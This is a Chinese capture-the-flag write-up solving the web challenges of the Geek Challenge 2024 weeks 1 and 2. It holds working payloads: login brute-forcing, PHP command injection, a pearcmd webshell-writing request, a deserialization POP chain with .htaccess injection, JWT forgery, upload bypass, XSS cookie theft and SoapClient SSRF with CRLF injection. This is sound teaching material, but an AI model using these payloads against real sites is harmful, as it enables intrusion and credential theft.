三叶草安全技术小组第十五届极客大挑战CTFPlusweb方向week1,week2全解

100%的⚪

查看源代码

找alert就行了

base64解码一下

secretlnDrivingSchool

查看源代码发现L000G1n.php

发现后台登陆界面

尝试爆破账号和密码,密码为3个字母加@chengxing,发现长度不一样账号为admin的长度不一样,把账号设为admin继续爆破

选择集束炸弹字母爆破

发现密码为SYC@chengxing,在location下发现admin.php

别问我为什么没展示爆破界面,因为我爆破了好久才爆出来的,不想再爆第二遍了

发现广告修改这可以执行php命令

在最后插入

<?php
echo "ls /";
?>

和

<?php
echo "cat /f*";
?>

最后在网页下发现flag

rce_me

第一关数组绕过

start[]=start now

第二关先查看一下Geekchallenge2024_bmKtL的md5值,0e073277003087724660601042042394发现是0e,而且还是弱相等,那只要找到sha1也为0e开头的那

_[2024.geekchallenge.ctf=aaK1STfY

if (intval($year) < 2024 && intval($year + 1) > 2025)

year=2e4

2e4会被解析成2,2e4+1会被解析为2的十次方+1

最后这个直接数组绕过

purpose[]=rce

stripos遇到数组会返回flase

最后code=system('ls /');,code=system('cat /flag');

下面是完整的payload

ez_include

第一关

require_once包含过一次文件,下次不会包含相同的文件

参考文章:(https://www.anquanke.com/post/id/213235)

file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

base64解码一下,发现/levelllll2.php

第二关考的是register_argc_argv

参考文章:http://www.atlant1c.cn/2023/10/23/register_argc_argv%E4%B8%8Einclude-to-RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/

坑点:syc不能和file换位置,否则会文件名会变成cmd.php&syc=pearcmd.php,要用bp,<和>会被hackbarURL编码,导致命令执行不成功

这个payload为

/levelllll2.php?+config-create+/&syc=/tmp/cmd.php&file=/usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/cmd.php

最后找到flag

ezpop

按照这个链子构造pop链

<?php
Class SYC{
    public $starven;
}

Class lover{
    public $J1rry;
    public $meimeng;
}

Class Geek{
    public $GSBP;
}
$a=new lover();
$b=new Geek();
$c=new lover();
$d=new Geek();
$e=new SYC();
$a->J1rry="data://text/plain,Welcome GeekChallenge 2024";
$a->meimeng=$b;
$b->GSBP=$c;
$c->meimeng=$d;
$d->GSBP=$e;
$e->starven="php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";
echo (serialize($a));
?>
O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:91:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}

他这里有一个对meimeng的过滤,这时只要把一个字母十六进制编码,前面的s改大写

O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:91:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}

file_put_contents($this->starven,"<?php exit();".$this->starven);

这是一个file_put_contents($a,"<?php exit();".$b);的变式

参考文章:https://xz.aliyun.com/t/8163?time__1311=n4%2BxnD0Dc7GQ0%3DDCDgADlhjm57IPx0IEYU5m5%3Dx

最后这个%0a和%23为一个字符,把91改成87

O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:87:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}

Can_you_Pass_Me

直接焚靖

发现可以ls /有flag,但是cat /flag没有东西,所以使用进行base64编码输出

解码直接得到flag

ez_http

第一关需要我们用get方法上传一个welcome并且

welcome=geekchallenge2024

第二关需要用post方法上传

username=Starven&password=qwert123456

第三关

bp抓包,把Referer改成https://www.sycsec.com

第四关,改本地就行了

第五关

加上Starven:I_Want_Flag

第六关

一眼jwt伪造

把false改为true,再加对称密钥(源代码里有)

baby_upload

方法一个一个试,发现1.jpg.php可以绕过

Problem_On_My_Web

考点:xss+ssrf

通过他给的提示,flag应该在cookie里

发现LoveWall可以添加东西,应该考的是xss之cookie外带

发现报错,访问本地就可以看到错误,就可以看到cookie

ez_SSRF

考点:SoapClient原生类的反序列化造成的ssrf+crlf

dirsearch扫一下发现www.zip

在calculator.php发现危险代码eval,而且把执行后的返回值用result文件存储起来

但是有一个代码if($_SERVER['REMOTE_ADDR']!=="127.0.0.1")使其访问服务器的请求必须来自于本地机器

但是又有一个h4d333333.php的php文件可以用原生类SoapClient去访问calculator.php

而且SoapClient的user_agent可以控制,使这道题有ssrf漏洞

这时就要自己写代码了

<?php
$post_string = "expression=1";
$c='fewOo^^Authorization:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0^^'.'Content-Length: '.(string)strlen($post_string).'^^'.'Content-Type: application/x-www-form-urlencoded'.'^^^^'.$post_string.'^^';
$aaa = str_replace('^^',"\r\n",$c);
//cho $aaa.'         ';
echo ($aaa);
echo urlencode($aaa);

我们来分析一下我这段代码,首先按照要求给user_agent随便赋一个值,然后^^会被str_replace函数替换成换行符,Authorization用来上传username和password,格式为aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st而且要用base64编码,因为在calculator.php中有base64_decode解码,还有explode函数以":"为界分别赋给username和password来伪造管理员身份,content-Length表示post传参的长度为12,content-Type会让浏览器按照url编码表单数据,并通过HTTP请求发送给服务器,最后post传参expression=1,要用2个以上的换行符区分,这些东西就想burpsuite捉包的数据一样,最后url编码用来上传不可见字符如换行

这时用将结果传给h4d333333.php中的user,并且location=http://127.0.0.1/calculator.php

注意:要用burpsuite传参,因为hackbar会自动编码

这时就可以通过修改expression的值来执行命令了,返回结果可以通过/result来查看

在运行cat /f*可以看到rm -f /flag.sh,应该是有限制

所以直接cat /f* > 1.txt直接读取1.txt就可以得到flag